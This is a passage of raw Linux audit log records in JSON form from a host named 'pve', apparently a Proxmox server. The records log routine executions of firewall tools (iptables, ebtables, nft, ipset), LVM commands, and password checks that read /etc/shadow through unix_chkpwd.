nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605333,"@rawstring":"node=pve type=PATH msg=audit(1781964605.333:61751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605333,"@rawstring":"node=pve type=PATH msg=audit(1781964605.333:61751): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605327,"@rawstring":"node=pve type=PATH msg=audit(1781964605.327:61750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605327,"@rawstring":"node=pve type=PATH msg=audit(1781964605.327:61750): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605322,"@rawstring":"node=pve type=PATH msg=audit(1781964605.322:61748): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605322,"@rawstring":"node=pve type=PATH msg=audit(1781964605.322:61748): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605317,"@rawstring":"node=pve type=PATH msg=audit(1781964605.317:61747): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605317,"@rawstring":"node=pve type=PATH msg=audit(1781964605.317:61747): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605312,"@rawstring":"node=pve type=PATH msg=audit(1781964605.312:61746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605312,"@rawstring":"node=pve type=PATH msg=audit(1781964605.312:61746): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605307,"@rawstring":"node=pve type=PATH msg=audit(1781964605.307:61745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605307,"@rawstring":"node=pve type=PATH msg=audit(1781964605.307:61745): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605302,"@rawstring":"node=pve type=PATH msg=audit(1781964605.302:61744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605302,"@rawstring":"node=pve type=PATH msg=audit(1781964605.302:61744): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605296,"@rawstring":"node=pve type=PATH msg=audit(1781964605.296:61743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605296,"@rawstring":"node=pve type=PATH msg=audit(1781964605.296:61743): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605290,"@rawstring":"node=pve type=PATH msg=audit(1781964605.290:61742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605290,"@rawstring":"node=pve type=PATH msg=audit(1781964605.290:61742): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605283,"@rawstring":"node=pve type=PATH msg=audit(1781964605.283:61741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605283,"@rawstring":"node=pve type=PATH msg=audit(1781964605.283:61741): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605278,"@rawstring":"node=pve type=PATH msg=audit(1781964605.278:61740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605278,"@rawstring":"node=pve type=PATH msg=audit(1781964605.278:61740): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605274,"@rawstring":"node=pve type=PATH msg=audit(1781964605.274:61739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605274,"@rawstring":"node=pve type=PATH msg=audit(1781964605.274:61739): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=PATH msg=audit(1781964605.273:61738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=PATH msg=audit(1781964605.273:61738): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=PATH msg=audit(1781964605.273:61737): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605269,"@rawstring":"node=pve type=PATH msg=audit(1781964605.269:61736): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605269,"@rawstring":"node=pve type=PATH msg=audit(1781964605.269:61736): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605269,"@rawstring":"node=pve type=PATH msg=audit(1781964605.269:61736): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605261,"@rawstring":"node=pve type=PATH msg=audit(1781964605.261:61735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605261,"@rawstring":"node=pve type=PATH msg=audit(1781964605.261:61735): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605254,"@rawstring":"node=pve type=PATH msg=audit(1781964605.254:61734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605254,"@rawstring":"node=pve type=PATH msg=audit(1781964605.254:61734): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605250,"@rawstring":"node=pve type=PATH msg=audit(1781964605.250:61733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605250,"@rawstring":"node=pve type=PATH msg=audit(1781964605.250:61733): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605243,"@rawstring":"node=pve type=PATH msg=audit(1781964605.243:61732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605243,"@rawstring":"node=pve type=PATH msg=audit(1781964605.243:61732): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605236,"@rawstring":"node=pve type=PATH msg=audit(1781964605.236:61731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605236,"@rawstring":"node=pve type=PATH msg=audit(1781964605.236:61731): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PATH msg=audit(1781964605.000:61730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PATH msg=audit(1781964605.000:61730): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PATH msg=audit(1781964605.000:61729): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PATH msg=audit(1781964605.000:61728): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PATH msg=audit(1781964604.991:61727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PATH msg=audit(1781964604.991:61727): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PATH msg=audit(1781964604.991:61726): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PATH msg=audit(1781964604.991:61725): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604917,"@rawstring":"node=pve type=PATH msg=audit(1781964604.917:61724): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604917,"@rawstring":"node=pve type=PATH msg=audit(1781964604.917:61724): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604888,"@rawstring":"node=pve type=PATH msg=audit(1781964604.888:61723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604888,"@rawstring":"node=pve type=PATH msg=audit(1781964604.888:61723): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604844,"@rawstring":"node=pve type=PATH msg=audit(1781964604.844:61721): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604841,"@rawstring":"node=pve type=PATH msg=audit(1781964604.841:61720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604841,"@rawstring":"node=pve type=PATH msg=audit(1781964604.841:61720): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604803,"@rawstring":"node=pve type=PATH msg=audit(1781964604.803:61719): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604800,"@rawstring":"node=pve type=PATH msg=audit(1781964604.800:61718): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604800,"@rawstring":"node=pve type=PATH msg=audit(1781964604.800:61718): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964601029,"@rawstring":"node=pve type=PATH msg=audit(1781964601.029:61716): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964601026,"@rawstring":"node=pve type=PATH msg=audit(1781964601.026:61715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964601026,"@rawstring":"node=pve type=PATH msg=audit(1781964601.026:61715): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964600973,"@rawstring":"node=pve type=PATH msg=audit(1781964600.973:61714): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964600970,"@rawstring":"node=pve type=PATH msg=audit(1781964600.970:61713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964600970,"@rawstring":"node=pve type=PATH msg=audit(1781964600.970:61713): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PATH msg=audit(1781964599.978:61712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PATH msg=audit(1781964599.978:61712): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PATH msg=audit(1781964599.978:61711): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PATH msg=audit(1781964599.978:61710): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PATH msg=audit(1781964599.969:61709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PATH msg=audit(1781964599.969:61709): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PATH msg=audit(1781964599.969:61708): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PATH msg=audit(1781964599.969:61707): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595226,"@rawstring":"node=pve type=PATH msg=audit(1781964595.226:61706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595226,"@rawstring":"node=pve type=PATH msg=audit(1781964595.226:61706): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595222,"@rawstring":"node=pve type=PATH msg=audit(1781964595.222:61705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595222,"@rawstring":"node=pve type=PATH msg=audit(1781964595.222:61705): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=PATH msg=audit(1781964595.221:61704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=PATH msg=audit(1781964595.221:61704): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=PATH msg=audit(1781964595.221:61703): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595217,"@rawstring":"node=pve type=PATH msg=audit(1781964595.217:61702): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595217,"@rawstring":"node=pve type=PATH msg=audit(1781964595.217:61702): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595217,"@rawstring":"node=pve type=PATH msg=audit(1781964595.217:61702): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595211,"@rawstring":"node=pve type=PATH msg=audit(1781964595.211:61701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595211,"@rawstring":"node=pve type=PATH msg=audit(1781964595.211:61701): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595204,"@rawstring":"node=pve type=PATH msg=audit(1781964595.204:61700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595204,"@rawstring":"node=pve type=PATH msg=audit(1781964595.204:61700): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595198,"@rawstring":"node=pve type=PATH msg=audit(1781964595.198:61699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595198,"@rawstring":"node=pve type=PATH msg=audit(1781964595.198:61699): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595192,"@rawstring":"node=pve type=PATH msg=audit(1781964595.192:61698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595192,"@rawstring":"node=pve type=PATH msg=audit(1781964595.192:61698): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595186,"@rawstring":"node=pve type=PATH msg=audit(1781964595.186:61696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595186,"@rawstring":"node=pve type=PATH msg=audit(1781964595.186:61696): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595182,"@rawstring":"node=pve type=PATH msg=audit(1781964595.182:61695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595182,"@rawstring":"node=pve type=PATH msg=audit(1781964595.182:61695): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595176,"@rawstring":"node=pve 